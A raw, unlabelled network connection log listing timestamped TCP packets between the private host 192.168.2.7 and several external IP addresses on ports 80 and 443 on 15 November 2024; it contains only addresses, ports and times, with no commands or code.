Nov 15, 2024 09:55:28.545418024 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:28.545715094 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:28.550338984 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:28.550601006 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:28.550693035 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:28.550916910 CET	49823	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:28.556695938 CET	80	49823	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:28.701214075 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.701843023 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.701858044 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.702377081 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.702382088 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.704601049 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.704957962 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.704993963 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.705429077 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.705439091 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.705724001 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.705971956 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.706003904 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.706506968 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.706516027 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.829898119 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.829982996 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.830050945 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.830074072 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.830107927 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.830193996 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.830327988 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.830343008 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.830354929 CET	49815	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.830359936 CET	443	49815	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.833348036 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.833761930 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.833837032 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.833966017 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.833986044 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.833997965 CET	49816	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.834003925 CET	443	49816	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.835160017 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.835196018 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.835282087 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.835756063 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.835767984 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.836940050 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.836966991 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.837063074 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.837328911 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.837393999 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.837404013 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.837516069 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.837579966 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.837675095 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.837675095 CET	49814	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.837692022 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.837718964 CET	443	49814	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.839845896 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.839873075 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.839955091 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.840177059 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.840188980 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.857834101 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.858369112 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.858376980 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.858902931 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.858906984 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.874217987 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.874969006 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.875011921 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.875682116 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.875688076 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.930708885 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:28.931013107 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:28.931035995 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:28.932082891 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:28.932146072 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:28.933367968 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:28.933432102 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:28.933559895 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:28.975333929 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:28.986838102 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:28.986846924 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:28.993161917 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.993283033 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.993575096 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.998819113 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.998835087 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:28.998843908 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:28.998848915 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.002855062 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.002892971 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.002960920 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.003432989 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.003444910 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.011615038 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.011780024 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.011841059 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.011893034 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.011913061 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.011925936 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.011931896 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.015909910 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.015957117 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.016100883 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.016299963 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.016320944 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.028711081 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.065366030 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.065406084 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.065774918 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.066083908 CET	49829	443	192.168.2.7	142.250.186.174
Nov 15, 2024 09:55:29.066097021 CET	443	49829	142.250.186.174	192.168.2.7
Nov 15, 2024 09:55:29.169996023 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:29.170051098 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:29.170279026 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:29.171252966 CET	49830	443	192.168.2.7	184.28.90.27
Nov 15, 2024 09:55:29.171268940 CET	443	49830	184.28.90.27	192.168.2.7
Nov 15, 2024 09:55:29.182996035 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.183047056 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.183108091 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.183120012 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.183170080 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.183238983 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.183274031 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.183303118 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.183399916 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.191843987 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.191915035 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.191939116 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.237123013 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.237143040 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.283705950 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.299840927 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.299892902 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.300020933 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.300035954 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.310004950 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.310086966 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.310101032 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.312303066 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.312357903 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.312365055 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.321530104 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.321579933 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.321590900 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.333431005 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.333535910 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.333544970 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.339730024 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.339788914 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.339797020 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.348820925 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.348880053 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.348889112 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.357959032 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.358026028 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.358036041 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.366440058 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.366503000 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.366513014 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.408683062 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.408698082 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.416778088 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.416831017 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.416846037 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.416872978 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.417083025 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.417110920 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.417120934 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.417162895 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.417171001 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.427869081 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.427951097 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.427975893 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.428004026 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.428411961 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.432765961 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.436203003 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.436230898 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.436248064 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.436260939 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.436582088 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.443556070 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.449600935 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.449655056 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.449681997 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.449692965 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.449745893 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.456008911 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.462558031 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.462649107 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.462658882 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.462677956 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.462713957 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.468678951 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.474745989 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.474781036 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.474801064 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.474808931 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.474890947 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.481131077 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.487386942 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.487422943 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.487490892 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.487500906 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.487546921 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.493572950 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.499984980 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.500055075 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.500061989 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.506161928 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.506206989 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.506215096 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.532238007 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.532294989 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.532310009 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.533519030 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.533560038 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.533569098 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.533579111 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.533906937 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.533912897 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.533948898 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.533974886 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.534001112 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.534007072 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.534213066 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.543380976 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.549735069 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.549772978 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.549789906 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.549803019 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.549845934 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.549853086 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.555475950 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.556201935 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.556212902 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.556618929 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.556634903 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.560914040 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.560947895 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.560995102 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.561003923 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.561042070 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.566644907 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.566715956 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.566878080 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.566941023 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.566948891 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.567688942 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.567701101 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.568026066 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.568033934 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.572869062 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.572901964 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.572917938 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.572923899 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.573035002 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.579005957 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.582402945 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.582724094 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.582729101 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.583317995 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.583322048 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.628604889 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.628643036 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.629355907 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.629458904 CET	443	49818	142.250.185.78	192.168.2.7
Nov 15, 2024 09:55:29.629601955 CET	49818	443	192.168.2.7	142.250.185.78
Nov 15, 2024 09:55:29.682782888 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.683037996 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.683085918 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.683089018 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.683145046 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.683255911 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.683255911 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.683279991 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.683288097 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.686305046 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.686403036 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.686619043 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.686815023 CET	49832	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.686850071 CET	443	49832	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.695795059 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.695931911 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.696105003 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.696425915 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.696425915 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.696446896 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.696459055 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.698868990 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.698909998 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.699002028 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.699155092 CET	49833	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.699173927 CET	443	49833	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.714818954 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.714979887 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.715101957 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.715101957 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.715130091 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.715136051 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.717683077 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.717773914 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.717860937 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.718056917 CET	49834	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.718080997 CET	443	49834	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.751888990 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.752356052 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.752383947 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.752845049 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.752851963 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.780483007 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.781573057 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.781573057 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.781604052 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.781613111 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.882193089 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.882272959 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.882407904 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.882416010 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.882461071 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.882635117 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.882635117 CET	49828	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.882668018 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.882683992 CET	443	49828	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.885685921 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.885729074 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.885797977 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.885937929 CET	49835	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.885955095 CET	443	49835	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.911772966 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.911859989 CET	443	49827	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.912143946 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.912143946 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.912143946 CET	49827	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.915272951 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.915323019 CET	443	49836	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:29.915405035 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.915549994 CET	49836	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:29.915565968 CET	443	49836	13.107.246.45	192.168.2.7
